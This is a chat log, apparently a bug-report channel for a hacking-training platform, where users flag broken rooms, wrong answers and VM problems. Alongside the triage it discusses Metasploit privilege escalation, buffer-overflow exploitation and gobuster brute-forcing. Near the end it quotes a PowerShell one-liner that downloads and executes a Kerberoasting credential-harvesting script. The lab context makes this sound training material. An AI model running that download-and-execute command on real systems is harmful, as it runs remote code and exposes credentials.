Ah shhiititt

tribal oasis
#

Just rebooting (battery has died on said laptop, just moved downstairs).

I have an old install of Kali on another VM.

#

What updates have you done? I used to be a web dev

frosty cape
#

Its my obfuscation methods

#

Hmm

#

I can revert it I guess

#

I just need to know where its breaking

#

So on the console it will kinda say

#

Whats causing the browser to break

tribal oasis
#

Best command to run for that info?

frosty cape
#

Its in your browser console

#

Right click, click inspect

#

Then there is a tab calle "Console"

tribal oasis
#

Hahaa, ohh that console πŸ€ͺ

#

Just loading the VM back up

#

It’s been a long day at work πŸ™„

frosty cape
#

aha thanks πŸ™‚

#

can you leave the VM up too?

#

I will see if I can fix it πŸ™‚

tribal oasis
#

Yeah no problem, just out having a cig then I can be around to test as much as you need 🀟

frosty cape
#

awesome thanks πŸ™‚

tribal oasis
#

Will me connecting to the vpn help in any way from your end?

frosty cape
#

no

tribal oasis
frosty cape
#

Shift F5

#

Clear your cache and try again

#

Load that file

#

Just go to it in your browser

#

And try come back again πŸ™‚

tribal oasis
frosty cape
#

what line?

#

Can you copy the sort of line on that please?

tribal oasis
#

Just taken my dinner out of the oven, I’ll be more on it properly in ten 🀟

rugged ermine
#

I hope not haha

#

I put that question in there as one of the less technical items, it's just not super obvious from the help menu

tidal kiln
#

i'm thinking something's got to be up with that based on stats from the scoreboard. numerous people have answered every question but that one

#

looks like a few question on the room chat including the most recent are related to that question as well

rugged ermine
#

I can tell you the question is worded almost nearly as you would find it in a splunk textbook as I reviewed one of my books when making that room

#

The hint I'll provide is: p**** t****

tidal kiln
#

would it help to add a hint to that question (within the webUI)?

rugged ermine
#

Done

tidal kiln
#

thanks! now to watch the numbers on the scoreboard and see if that did the trick πŸ˜‰

rugged ermine
#

Haha yeah

small typo in the upload page: We are uploading your file. Please be patient, manually refreshing this page will destory <<[typo here] all progress..

#

God, I gotta find a XSS on THM xD.

rugged ermine
#

Realistically I need to talk to Skidy about a web app for it

#

Rather a pentest on the site

delicate dragon

tidal kiln
#

xss room has err_connection_timed_out errors for me fairly consistently. esp reproducable under the Filter Evasion section, I can't "submit" new attempts more than 2-3x in a row without the room timing out. happens across ff/chrome on diff computers and ISPs. also across multiple instances of the deployed room across 3 days.
a second item to note is that under tasks 8.3 and 8.4, i've got several variations that meet the objective of displaying an alert with "Hello" but don't yield a flag afterwards. happy to give examples in a DM if anyone wants to add those to the corpus of accepted inputs for future users

frosty cape
#

Hey, yeah the XSS room has problems that I need to fix when I get time.

#

Sorry for that

Vulnversity Task 3 about gobuster does not list the subcommand dir: 'gobuster -e -u http://<ip>:3333 -w <word list location'

tawdry totem
#

gobuster dir -u http://<ip>:3333 -w <word list location

#

try this

frosty cape
#

Just updated the task πŸ™‚

#

Thanks

languid halo
#

Yes I figured my way around it I just wanted to submit it so it could be fixed. Thank you both @tawdry totem @frosty cape

languid halo
#

I only have a few minutes at a time so im still on vulnversity is Task 4 #3 written correctly? I found the area but to me doesn't seem as described

#

"Now make sure BurpSuite is configured to intercept all your browser traffic. Upload a file, once this request is captured, send it to the Intruder. Click on "Payloads" and select the "Sniper" attack type.

Click the "Positions" tab now, find the filename and "Add Β§" to the extension. It should look like so"

#

I think it should be Intruder > Positions > Attack Type: Sniper ... Because Payloads tab is different.

Flag 26 and 27 are solvable ^^

#

Currently no one able to solve flag 25, Imma trying it

#

@tawdry totem

tawdry totem
#

Oh yes?

covert kernel
#

I am try to find Flag 26 or 27 in Linux Challenge

#

@tawdry totem I am almost certain that I stumbled across flag26 or flag27 while I was looking for another flag.

tawdry totem
#

Alright, will pm you now. Plus, this is not the correct channel. This is a bug reporting channel.

covert kernel
#

sorry man

earnest solar
#

Guess its been discussed already. But the β€œadd 1 hour” option is not working(at least for me)

frosty cape
#

What do you mean?

#

Does nothing happen?

#

Just tested it, seems to work for me

#

What happens when you try to extend?

earnest solar
#

extended with around 10mins before the machine expired

#

and even though i extended it, it closed

#

yeah, there was no problem form e

#

for me, spawned a new one

frosty cape
#

oh right? Has anyone had this problem?

#

When you extended did it say the expire time was in 1 hour?

earnest solar
#

Yup

steel wasp
frosty cape
#

Fixed thanks for letting me know

spiral flame
#

Answer should be -- rather than -

rugged ermine
#

@covert kernel

spiral flame
#

To explain a little more, all the other answers needed the - prefix so this shouldn't be an exception

#

O

#

Thats a whoopsie

spiral flame
#

Ayy, glad I could help. Otherwise, really enjoying that radare tutorial @covert kernel

covert kernel

tidal kiln
#

seeing an issue where I can't deploy VMs in new rooms

#

steps to reproduce:

  1. join room
  2. click "deploy"
    a. see Starting your machine.. please wait! banner
    b. nothing ever happens
  3. If I refresh browser window, no IP info is available and the "Deploy" button is green again for me to select
#

also can't seem to terminate my VM from the heartbleed room. perhaps the two issues are related?

covert kernel
#

I'm having the same issue with deploying the PowerShell VM

frosty cape
#

No bugs, AWS DNS is having problems.

#

This should be fixed very soon

#

Perfect thank you. I won't blame my incompetence yet

bruhh

frosty cape
#

Our infrastructure providers are experiencing a temporary issue, for now you will be unable to deploy machines. We apologise any inconvenience, feel free to reach out to us!

rugged ermine
#

For now, don't forget you can do any of the machines where you don't have to deploy a machine or any of the rooms where the VM is publicly available (i.e. any of my rooms where the download of the vm is available on https://darkstar7471.com/downloads/

remote laurel
#

Okidokies noice

#

I feel like typos don't belong here, somehow

frosty cape
#

Thanks for reporting them πŸ™‚

#

I will update in due course

remote laurel
#

You are welcome, cool :)

#

Unknown shortform flag

#

in fact, the whole command given won't work

#

gobuster now needs you to specify what you're trying to bruteforce

#

Ok, you can specify -u if you specify the type of scan

#

So you need gobuster dir -u <target> -w <wordlist>

#

Latest version here

#

Also, the answer for what extension is blocked

#

txt files are blocked, with the message that that extension is not allowed

#

So is zip

#

And png

#

Everything so far reports extension not allowed

frosty cape
#

what common extension πŸ™‚

#

Skip that question and come back to it

#

It will make more sense after maybe

spiral flame
#

They're all common extensions

#

Oh it wanted a . prefix

#

Well, the gobuster point still stands

#

I have only completed the first 10 tasks of the c4ptur3-th3-fl4g room but it seems to have bugged and decided I've finished all of it

#

The other sections aren't showing the tasks. I've replicated this in a few different browsers

rugged ermine
#

@mortal root try leaving the room and rejoin quickly, see if that resyncs the tasks

#

It's likely due to the age of the room that it's glitching out

mortal root
#

weird, that fixed it. cheers @rugged ermine

rugged ermine
#

yup! Glad that worked and that I could help haha @mortal root

#

By the way, what level at you right now @mortal root ?

#

I can get your tags updated in the discord πŸ˜›

mortal root
#

0x9 - I've been so busy finishing uni/interning that I've fallen far from grace :p

rugged ermine
#

You can also DM me any certs you have and I'll get you tagged accordingly

mortal root
#

so now I have a little bit more time I'm trying to regain ground

rugged ermine
#

no worries! I'll get ya tagged right now

#

there ya go

mortal root
#

awesome thanks πŸ‘

mortal root
#

@rugged ermine seems to be a recurring issue, just joined another (much newer) room and as soon as I joined, same issue

vocal raptor
#

no

#

oh wait

#

i had the exact same issue

#

i just thought none of those had questions

frosty cape
#

Hmmm, this is very weird

#

I will look into it

#

Thank you

frosty cape
#

@mortal root Problem has now been fixed - sorry about that!

#

@shy pond ^

mortal root
#

timezones seem off for me, can't see anywhere on my profile where I could change it

#

for reference I'm in the UK now (10:50PM)

frosty cape
#

I am too in the UK

#

No issues for me

#

It uses your local clock

#

So if you're using a VM, is that VM's time zone set to GMT?

mortal root
#

yup

frosty cape
#

Ooo

#

Okay thats really weird

mortal root
#

my date format there is also US format

#

whereas yours is UK format

frosty cape
#

Can you change it to UK format?

#

Just to see if that fixed it

#

If so I will try find a solution

mortal root
#

VM has always been set to UK locale

#

weird

frosty cape
#

Oh sorry, yeah

#

Hm

#

Okay thanks for reporting, I will investigate

mortal root
#

doesn't affect functionality anyway πŸ™‚

frosty cape
#

What browser are you using? And whats its version number?

#

Yeah but is annoying for you aha πŸ™‚

#

Ill get it fixed

mortal root

Firefox 60.8.0esr πŸ™‚

tawdry totem
#

Finished the window bof box, nice box btw. However, I found a small bug in the description.

#

The EIP should be reverse due to big endian.

#

Took me sometime to figure it out haha.

#

Heck! And I almost thought it was perfect LUL

#

I even had it right in my script!

covert kernel
#

Dead link

#

Now gimme the award >;)

frail vessel
#

Is that considered a bug?

rugged ermine
#

In this case, kind of. This is a known bug as that page is somewhat deprecated. Realistically, for the Bug Hunter award I believe we're looking for major errors in the site overall (not to be a wet towel of the conversation)

#

That page realistically needs a revisiting and it does have it charm

spiral flame
#

@rugged ermine You have a typo in RP:metasploit in the Initialising section

#

Additionally, q6 on Task 5. it asks for the full path but you need to enter it without the exploit/, which means it's not the full path

rugged ermine
#

I'll add exploit on it, good catch on both of those haha

spiral flame
#

@rugged ermine Good room though, I felt like I learnt a lot because I've been avoiding msf as it makes me feel like a dirty skiddy

rugged ermine
#

While a lot of people consider MSF to be easy mode, it's an essential tool for even stringing together other frameworks

#

The other frameworks part I should have realistically alluded to in that room but I tried to keep it mostly essentials-focused. You can pretty much throw whatever you want in the payload and get things like Cobalt Strike, PowerShell Empire, or even Silent Trinity involved. Metasploit is a framework that is stupid powerful

spiral flame
#

@rugged ermine Yeah, that's why I want to learn it. But I'd rather learn the 'real' ways alongside

rugged ermine
#

Fair haha

Fixed both of those bugs/typos

There's another, but it's not python

it's powershell

@spiral flame There are multiple for that and it's actually grepping for the correct answer there

Not the best screenshot but that's from the control panel

That's not a module that's listed!

Reee

I had that mentioned to me just a bit ago, it's been retired unfortunately so I'll just change it

In Fowsniff CTF Task#1.10 is In the email, who send it? Using the password from the previous question and the senders username, connect to the machine using SSH. This should say the recipients username, not sender.

#

In KnockKnock question 3 is looking for the wrong answer. Either the question should be reworded for the answer thats currently considered correct, or the expected answer changed to match the current question

spring heron
#

In room Biohazard, when you obtain "crest 4" there are two hints that are described as being related to "crest 2" when in fact they're for "crest 4"

rugged ermine
#

@tawdry totem that one would be for ya

spring heron
#

In room Alfred question #1, The answer to How many ports are open is incorrect, there are double that amount of open (and responding) ports

spring heron
#

In room Kenobi, question #2, The accepted answer to, Scan the machine with nmap, how many ports are open? is incorrect as there are 5 additional ports open. The question is assuming you're not completing a full port scan and only using nmap's default port list

In /room/cryptochallenges Task #8 successfully decrypts but is not the accepted answer. Additionally, the given answer format of "12char 4chars, 3chars..." doesn't occur as a pattern anywhere in the decrypted text

@spring heron additionally, the XOR challenges need to be decoded from hex first

sturdy halo
#

After completing the RP: Metasploit room, it doesn't seem to be showing up in my list of badges

#

I tried leaving and re-joining

#

not a huge deal, but wasn't sure if anyone else had this prob

spiral flame
#

@sturdy halo I don't think there's a badge for it

sturdy halo
#

and then on the badges page

spiral flame
#

Yeah actually, I don't have that badge

rugged ermine
#

Skidy can likely get this taken care of in just a short bit

sturdy halo
#

cool, thanks

frosty cape
#

In a room, its not showing you have the badge, but what badge is available

#

I can see why it looks confusing

#

It looks like you're going to get the badge.

#

But its just showing you whats up for grabs

#

It will earn you that badge

spiral flame
#

@frosty cape I did the room, and didn't get the badge

frosty cape
#

oh sorry, AFTER doing the room

yeah, I completed the room as well, but didn't get the badge

Why'd ya kill the bot?

#

;P

frosty cape
#

@delicate dragon

#

Ill take a look guys regarding the badges sorry

#

Ooooo

#

Its because, I added the badge a few days after the room was released

#

So it wouldnt have updated for you

#

Please DM your username me and I will add the badge to your account!

#

I didn't

#

I haven't even logged in to server since a week

#

(I'm just giving you a hard time)

delicate dragon
#

:p

#

I'm gonna implement the auto subscription role assign feature

#

But seriously, how did it die?

rugged ermine
#

No idea, I haven't peeked at the console yet

delicate dragon
#

Oh

spiral flame
#

@delicate dragon do you have a DB set up so !rank can detect who you are yet?

delicate dragon
#

It's in progress, since the new feature Skidy implemented will give you a token which will help you to verify as it'll help you to change roles accordingly, as soon as you get rank there, yours will be updated here.

Might take a while since I have exam, but will be implemented this week.

#

Oh cool. Looking forward to it and good luck with your exam.

In Brainstorm room i can't get a response from the deployed machine, tried resetting it several times.

spring heron
#

In room Goldeneye Task2 question 3: Inspect port 55007, what services is configured to use this port is looking for the wrong service name than what is actually responding on that port

spring heron
#

In room WebGramming Task 2 "Repeat" the service on port 19001 is insanely unstable and requires multiple re-deployments while interacting with the service due to crashes

spring heron
#

Ok, giving up on WebGramming until it can be looked at. The instability isn't limited to Task2 that I mentioned earlier and effects all the tasks. You have between 1-5mins before the app crashes and stops responding for all the tasks.

mortal root
#

@spring heron I had the same issue with GoldenEye months ago - I think it'd be good if we had a better way of tracking room issues/alerting authors

#

Because I know how frustrating it can be when you've already invested time into a challenge and you reach a roadblock that shouldn't exist

spring heron
#

+1 for issue tracker

mortal root
#

Looking at the room, seems like there's been 0 completions in ~6 months, maybe in addition to issue tracking, gathering analytics about user engagement with rooms would be good

#

like completion times, most hinted questions etc, would help identify issues people don't report formally and help content creators improve their submissions

spring heron
#

Also maybe a code escrow for rooms. So if a contributor is no longer active but the room needs care/feeding it could be made available for a new maintainer to take over

mortal root
#

Hmm yeah I guess there's a weird ownership issue there, once an OVA is uploaded to THM it's no longer retrievable by room creators (correct me if I'm wrong). Also don't know if there's a particular term/condition of who owns the rooms/VMs once they are uploaded to THM

#

But yes, I think a good example is the "Cardboard" challenge in HackBack2. There's a known issue with broken port knocking on there, but it seems there's no way it's going to be fixed

#

"2. Use License
Unless explicity stated or credited, users are assumed to own the material they used to create a room." - so I guess in its current state, THM would need to have a new policy where rooms can be modified after submission with perhaps an opt-out? And then ask existing content creators if this can be applied retroactively

spring heron
#

hmm, yeah

spring heron
#

In room HackBack 2019, Task 4 (Jurassic Park) it doesn't appear that Flag4 is being generated (unless the reference to it is a red herring). Same within the Jurassic Park room as well obviously.

rugged ermine
#

I beat on flag four for literal months

#

|| it's a red herring, there is no flag four. I have the actual flag four hash that I had to ask for originally, let me know if you want it ||

spring heron
#

In room Intro to x86-64, Task 6:CrackMe, the logic in the binary is flawed and accepts multiple values as the correct password, as long as the first 3 chars are correct

spiral flame
#

That's the point.

#

It says what are the first 3 chars of the correct password

spring heron
#

The question is What is the password? and the answer format was ***.*.*.*

#

Task7 has a similar issue, the binary accepts a single character and responds that its the correct password

spring heron
#

@spiral flame I read back thru the room and dont see where it says what are the first 3 chars of the correct password, nor in the prompts for either binary, enter your password and Please enter password

Might be thinking of a different RE course on thm then

You're correct, it should be vmdk

#

In room Toolbox: Vim Task3, Quest 6 the accepted answer isn't the correct one

#

On the THM Blog there is a write-up for Zeus, but the link leads to "Owner has made this room private"

frosty cape
#

@rugged ermine I think that your room?

#

I think we made it private as we're seeking permission from the original VM creator.

#

@spiral flame Thanks, updated! The change will be made live this evening.

spring heron
#

In "HackBack 2019" Task 14, Quest 1: there is nothing in the provided pcap that would be an indicator of the accepted answer, and is more of a guess based on the description of the task.

#

In the room ICE is the accepted answer for the CVE correct?

spiral flame
#

Yes, at least for me

#

I got a 2004 one

#

And that's what the msfmodule lists as the CVE that it's using

spring heron
#

But thats not the correct one based on question #1

spiral flame
#

But it is the correct answer based on what you're actually doing

#

The exploit you pop

spring heron
#

the 2014 CVE isnt RCE nor is it a cvss score of 10

spiral flame
#

2004

#

Not 2014

tribal knoll
#

There might be 2 CVE's for the same vuln

#

I remember Dark complaining about when that happens a little bit ago

spiral flame
#

I mean I had CVE-2004-****

spring heron
#

@tribal knoll nope, two different CVEs one is buffer overflow with score of 7.5 from 2004. The one described in question #1 is RCE from 2001 and had a score of 10

spiral flame
#

I mean they're right, the only 10.0 score cve is the 2001 one

#

@rugged ermine So yeah, this is actually an issue

tribal knoll
#

nvm just realised this is bugs and not room help smh

earnest solar
#

Could switch the number 10 to β€œRated as critical”

spring heron
#

but you'd also have to change the accepted answer for #1 since the 2004 CVE isnt RCE

spiral flame
#

Yes it is

#

execute arbitrary code

worthy stag
#

Guys hate to tell ya, I know it’s a room intended for learning but you’ve just dropped the answers in here

spiral flame
#

This is bugs

tribal knoll
#

I thought it was room-help at first tbh

spring heron
#

@spiral flame its a BO that can lead to RCE

tribal knoll
#

Deleted my spoilers

spiral flame
#

It gives you RCE, it's classified as Execute Code,Overflow

worthy stag
#

I know it’s bugs. But regardless you have posted the cve

#

Which in turn spoils the question it asks

spiral flame
#

It's normal to spoil answers in bugs

#

Very normal, scrolling back

#

You kind of have to, if your answer is right and the accepted answer isn't

spring heron
#

Thats RCE via Buffer overflow. Straight-up RCE would be something like Vulnerability Type(s) Execute Code

spiral flame
#

It's still RCE

#

The outcome is you get to run code

spring heron
#

The results of exploiting a vuln isnt what dictates the vuln type. A BO can also lead to DoS , but I'll agree to disagree. πŸ™‚

tribal knoll
#

You legit both just said the same thing but reworded nvm I can't read ignore me

Has anyone had success with priv escal on ICE?

spiral flame
#

I did when it was RP metasploit

spring heron
#

Multiple attempts, with multiple redeployments , all failed so far
MSF versions:

Framework: 5.0.61-dev-
Console  : 5.0.61-dev-

From Ubuntu 19.0.4

tribal knoll
#

I didn't get it to work either

#

also msf5

spring heron
#

Can an admin check to make sure msdefender isnt eating them? πŸ™‚

spiral flame
#

Pretty strange, seeing as it worked on rp metasploit and this is the same VM afaik

rugged ermine
#

I can assure you that box doesn't have defender

#

all of my testing was done using the THM-hosted version of the box and it all does work

spring heron
#

welp, as the saying goes... 64th times a charm. Finally popped second session

rugged ermine
#

Speaking directly as the developer, Ice is my most thoroughly tested room. Some of the items in it can take a few attempts but that's just pentesting in general there

spring heron
#

πŸ‘

#

@rugged ermine Did you see the chatter early about quest #1 and 2 under task 3?

rugged ermine
#

I can check on that now

#

I did not previously

#

Resolved, it was a misalignment specifically from myself looking at the CVE's associated with Icecast. If you check https://www.cvedetails.com you'll find Icecast is plagued with CVE's and I had misaligned that between the two sources I had looked at.

#

I've adjusted the wording on the vulnerability type question as well. While I consider this to be RCE, I'm using the wording now on CVE Details to avoid any confusion

spring heron
#

πŸ‘ Nice work @rugged ermine, the rest of the completed as expected. The badge is fitting given the season πŸ™‚

rugged ermine
#

Thank you πŸ˜„

#

Thank you guys as always for the fine-grained checks on the room, helps me maintain them and provide clarity

tribal knoll
#

@rugged ermine remember to put the VM files on your site asw

rugged ermine
#

^Yup yup, I have to compress it but I'm in the process on doing that today

#

I have to update my rooms to have links to the download page

#

tyvm for the reminder of course

tribal knoll
#

Any idea why priv esc is escaping me?

rugged ermine
#

What architecture is your shell?

tribal knoll
#

I tried both x86 and x64, x64 wouldn't give me a shell

rugged ermine
#

x86

#

^do that

spring heron
#

For me I'm assuming most of it was related to my migrating my CTF workstation build to 19.04 and working out the kinks

rugged ermine
#

the suggestion engine doesn't work super well on x64

tribal knoll
#

I got the exploit, just would never give me a session

rugged ermine
#

Good to know though since other people will undoubtedly hit similar issues

tribal knoll
#

[*] Exploit complete, but no session was created.

rugged ermine
#

do you have your LHOST set correctly? I had that happen a bunch

spring heron
#

one other thing to keep in mind is that LHOST isnt global, unless you specifically set it...

rugged ermine
#

it might not be 'catching' it

tribal knoll
#

I set LHOST to both my tun0 IP and tun0 itself

#

It was binding properly

rugged ermine
#

hmm

#

I can also give you the local version of the box in a short bit, that might help

tribal knoll
#

(could I also get a rank up real quick, 0xD now)

rugged ermine
#

done!

spiral flame
#

@rugged ermine So if the privesc doesn't work, I have to redeploy the machine?

spring heron
#

My biggest pet peeve right now is MSF 5 not catching ctrl + z properly anymore

rugged ermine
#

Sometimes, it will work most of the time and a lot of times you can just rerun the exploit @spiral flame

spiral flame
#

I'm just rerunning it atm

#

on attempt 3

#

attempt 4

spring heron
#

@spiral flame double check lhost, its not global by default

spiral flame

it's set correctly

In HackBack 2019 Task12 question 8. What site did the user go to? Answer with the sites FQDN the accepted answer format isn't the FQDN that the user accessed. Edited for clarity

#

And same task question9, Look at all downloads in the pcap, who did this user download a photo of? There are only two downloads in the pcap and both are a 1x1 gif. Or is there an deeper puzzle here that I'm overlooking?

spiral flame
#

Yeah I don't think anyone solved that one @spring heron

#

That last one at least

spring heron
#

there are quite a few that appear unsolvable in that room due to various issues, I have a running list that I'll post once I've done as much as I can

I didn’t have this issue tbh

spiral flame
#

@hollow arch you have a typo on the main page of djinn

#

on the webserver page

#

let's see how good your are

spiral flame
#

Also, I think it actually asks 1001 maths questions

hollow arch
#

Python loop goes till 1001 meaning it will stop on 1000

neon zealot
spiral flame
#

@hollow arch my script loop counts 0-1000 inclusive so there's 1001

frosty cape
#

@neon zealot This is so weird.

#

Erm, when you're online again this evening please let me know and I can check what the issue might be

@frosty cape UltraTech still doesn’t validate task 2 question 5 answer πŸ™‚

spring heron
#

The question about number of REST routes?

earnest solar
#

Yes

spring heron
#

Hmm, validated for me. I just dont recall which day I solved it on to comapre results. Was in the last 20d tho

earnest solar
#

Tried validating it about 1 week ago

spiral flame
#

It validated for me

earnest solar
#

I just reminded Skidy to look into it xD

spiral flame
#

IDK if it was correct

#

But I tried a few different values

earnest solar
#

I tried different browsers

#

I don’t get that pop up

#

Ehich says its wrong or right

spring heron
#

Oh, interesting

#

so the issue you're having is unrelated to the answer

earnest solar
#

Tup

#

Yup*

spring heron
#

Chrome on MacOS here

earnest solar
#

I tried chromium & firefox

#

And is the only room where i’m havin this issue

spring heron
#

@hollow arch @spiral flame yeah, counting the one that is sent with the initial connection there are 1001 operations

hollow arch
#

oh

#

as far as I remember I was running the loop till 1001 so I thought it might be 1000

It's duplicated that question

neon zealot
#

Wondering why it wont let me answer it though

spiral flame
#

Leave and re enter the room

neon zealot
#

tried, still there sadly

spiral flame
#

Interesting. It's happened to 2 different people on 2 different rooms recently

neon zealot
#

I guess for now I'll leave the room cause it's messing up my "rooms in/rooms complete" ratio

frosty cape
#

Ahhh, I thought I had fixed the duplication bug

#

When did that start appearing @neon zealot

spring heron
#

X-posting from #room-help
Can an admin check the network/firewall setting for when WebGramming is deployed? When it first deploys its reachable from outside THM VPN, then becomes available only from VPN, then a few minutes later stops responding altogether, including pings

neon zealot
#

I noticed it yesterday

#

Just checked again today and it's there

#

maybe it only fixes for people who don't have any progress in the room?

frosty cape
#

Erm, when you joined the Kali Linux room, did it bug out?

#

Anything unusual happen?

neon zealot
#

Nah everything was normal

#

But I noticed the duplicated question

spring heron
#

In room Intro to Windows BoF Task2 Question 5, What is the name of the Administrator account?

#

Should that be What is the name on the admin account vs "of"

spiral flame
#

No, the grammar works fine as it is

#

I'd argue "on the admin account" is less correct

spring heron
#

But the name of the admin account is Administrator, no?

spiral flame
#

I don't know without doing the room, but it varies by windows install

spring heron
#

Windows account have a "Name" like Administrator and a "Full Name' like Jim Smith.

#

The accepted answer is looking for the value of the "Full Name" of the admin account

spiral flame
#

Then that might be a better way of asking the question

#

Full Name, rather than username

spring heron
#

Also on the same room Task3 Question 1 How many ports are open on the box? The accepted answer is for the number of ports detected by a default scan of nmap and not that actual number of responding ports.

X-Posting
Not sure if this falls under #room-help or #site-bugs but the subscription-only room Buffer Overflows is brutal
The description is Learn how to get started with basic Buffer Overflows! but the last two challenges would fall in the expert category due to a disassembler not being installed in the deployed room
I've spent 5hrs this morning attempting it by utilizing strace to determine some of the address locations and can get to the point of controlling RIP, but even with a NOP sled of 60+ its a guessing game to determine the stack pointer in order to hit the sled

spring heron
#

Additionally, I tried compiling GDB but it doesn't appear as the redhat dev toolkit is installed either since the current compiler doesnt support C++11 (I also believe the toolkit installs GDB)

spring heron
#

No worries, my mind is fried from this one so any dialog is welcome

#

I flush the ENV prior to exploiting so I get a consistent stack, I'll have to look into how that impacts SUID execution, I wouldnt think it would

sly raft
#

hey @spring heron

#

i'm so sorry about that - I was quite sure that r2 was installed on there

#

uploaded the image to have r2 + gdb on there

#

so it should work fine

#

^ i disabled ASLR + Canaries when creating the challenges so the addresses should be static O.o

spring heron
#

Thanks @sly raft, there should be a badge for getting shell using only strace for analysis. πŸ˜‚

#

Are the absolute links to localhost on the BluePrint website intentional?

earnest solar
#

@spring heron yes they are. You’ll have to dig aaaaa liiittle deeper

sly raft
#

omggg did you pop a shell using strafe @spring heron ?

#

Also if you're using another program to run shellcode like gdb/strace it would use the SUID bit of those programs instead of the actual binary

#

Which is why you use those programs to test if the shell code works, add a bunch of NOP sleds to make it reliable, and run it using the binary

spiral flame
#

So the login page, it says username or email. I tried with my username and it didn't let me log in.

#

Worked with my email

frosty cape
#

I'll investigate:)

spring heron
#

@sly raft I used strace -i ./buffer-overflow ... to aid in "brute forcing" the stack address and then ultimately popped shell with env -i ./buffer-overflow ... but it didn't retain SUID. When I'm back from traveling later tonight I'll give it another try without wiping ENV

@rugged ermine can RP nessus still be ran with nessus 8?

@sly raft fun fact, leading zeroes in an IP address octet leads to undefined behaviour. Windows treats it as Octal and things go vey wrong.

sly raft
#

I mean undefined behaviour also means it could go right ;)

#

Hi, I have some weird behavior with day 4 challenge. I can see the questions while logged out, but can't see them anymore once logged in. I have tried to disable adblocker, change my browser, I even tried with another computer, but still the exact same problem :/

#

@haughty sand try to leave the room and re-join

haughty sand
#

@slender pagoda it worked, thanks!

#

Can I get an admin or someone who has access to check how the "answer" function works on the site, @celest summit found an interesting bug

#

It appears, at least on one question in todays room, but perhaps all questions, if you submit the right answer, the answer will accept even if anything incorrect is following the right answer in the answer box. Example: if 1.1.1.1 is the answer, you can submit 1.1.1.1.5.3.5.1.2 and the answer will submit successfully.

#

This is true of at least 9-4 in the advent room

slender pagoda
#

AFAIK the answers all (or most) have some regex for matching, and especially that one might be because they "fixed" the answer as there was some weird results showing up

rugged ermine
#

There's a fair amount of regex involved in the answer submission, hence why the answers can be overly forgiving at times

sly raft
#

We use a similarity metric to check answers so the text you enter must be 80% similar to the answer

#

And I think this is done by comparing characters

frosty cape
#

^ Yeah, its not quite perfected though as you can see.

spiral flame
#

@frosty cape on the 'Teams' leaderboard page, captain is spelt wrong.

frosty cape
#

Fixed! Will be live in the next push! πŸ˜„

#

Thank you

covert kernel
#

For the room kenobi, the mount command no longer works

midnight bridge
#

Hello task 9 has no questions and it indicates that I have completed it. How can I fix it? (cyber advent)

spiral flame
#

Leave and rejoin the room

spiral flame
#

Answer to Alfred q1 is wrong

#

Nmap with all ports shows 1 more than the answer stated

spiral flame
#

Investigating Windows is unbearably slow, probably needs more resources as it's a gui

#

Definitely needs more RAM

#

Things like event viewer take a long time to load which makes completing any tasks a real chore

#

Also the answer that was there for Hackback (2?) on that room doesn't work. Room is the same and the logs are the same

#

Answer format was wrong

#

Also yeah, too little ram to even open notepad in under a minute

frosty cape
#

Hm, I've noticed the boot time on the VMs have gotten worse since December

#

After a spur of machine deploys

#

I will investigate πŸ™‚

#

@spiral flame The answer are not the same, its a different VM

#

Was just simulated the same

spiral flame
#

It's exactly the same

#

Same timestamps

#

Same answers

frosty cape
#

Ah must have attached the same questions

#

Also

#

In terms of the boot times on AWS

#

I need to request higher resouce rate

#

So hopefully it will improve soonish

#

Yeah we're being limited - I have requested our quota to be increased.

deft jackal
#

4 available pages and shows 6

spiral flame
#

Confirmed bug, I have the same issue with 12 pages. I think it rounds to the next multiple of 6.

deft jackal
#

i guess its a counting problem related to filter buttons

#

when you filter it shows less available pages

#

but not fixing the scroll

spiral flame
#

Even without filtering, I get the extra pages

frosty cape
#

@deft jackal It disables the extra pages

#

You wont be able to click 5 and 6

deft jackal
#

@frosty cape just a suggestion for better UI remove them from the scroll better than disable them, it is confusing control

frosty cape
#

Hmm, Yeah very true

#

Ill do that now as its just removing extra code

worthy stag
#

@rugged ermine is the bot meant to say welcome β€˜special_quote’ or is it meant to be replaced with an actual quote when someone joins?

rugged ermine
#

That's a rare event, it'll typically do a normal quote. Likely that cog is malfunctioning

worthy stag
#

Ah ok, I knew they were rare but wasn’t sure if special_quotr was just a variable that hadn’t updated

remote laurel
#

The quote thing has no issue, we just can't figure out why is there so many invalid-user
But yeah no special_quote is intended

tribal knoll
#

special_quote is all we could come up with for a special quote

remote laurel
#

"bLuE iS nOt BrOkEn. -DarkStar, probably."

#

And this

#

I added another one but apparently it got stashed, I'll readd

mortal root
#

And the highest confidence level one isn't correct (or at least for me)

#

Christmas challenge for today, Q2 has quite a few OSs with the same confidence level πŸ™‚

#

And the highest confidence level one isn't correct (or at least for me)

spiral flame
#

Yes, port scanning over the internet isn't very reliable

#

I get different numbers of ports, or incredibly slow (read: hours) for a scan

spiral flame
#

There's a mistake in the official room Corp

#

Flag needs a space, but flag in the file doesn't have one

#

Also, the command is wrong because it specifies the name of an AD forest that doesn't exist

#

You need to change the name of the forest, AND also respace the command it gives you

#

it doesn't tell you enough about the box to enumerate it correctly, especially since this is a walkthrough

#

iex​(New-ObjectNet.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1') is also broken

tribal knoll
#

iex​(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1')

spiral flame
#

iex​(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1') is the correct

spiral flame
#

Also password has expired so you have to manually type out a ludicrously long password and reset it

#

I expected more from an official room.

tidal kiln
#

@spiral flame yeah, I pinged @frosty cape a few times within the past week on the Corp room on those issues and didn't hear back

#

i also use the Feedback link on the site for a lot of stuff like that but never hear back if any of it gets fixed. So no clue if it's doing any good to report

frosty cape
#

Hi @tidal kiln what's your username? I don't recall getting anything from you :(

#

I always try to answer all feedback or put the bugs on my to do list

#

Also @spiral flame hmm, I'll look into this - we had that rooms VM built by a community member. So will ask them to fix the password issue and I'll have the VM reuploaded.

deft jackal
zinc badger
#

Assuming you've done a hard refresh of the page?

deft jackal
#

same, i joined like 6 rooms and my name not showing ini any

zinc badger
#

Hmm weird, what's your THM username and what room(s) is this an issue in?

deft jackal
#

sec

zinc badger
#

I think you'll only show in the leaderboard/chart if you're in the top 50 ranking for the room as well

zinc badger
#

Yeah, it's probably a case of not being in the top 50 - If I can remember/find the api request to pull the full leaderboard I'll check to confirm

deft jackal
#

hmm i see

#

i suggest to be increased to 100

#

at least

zinc badger
#

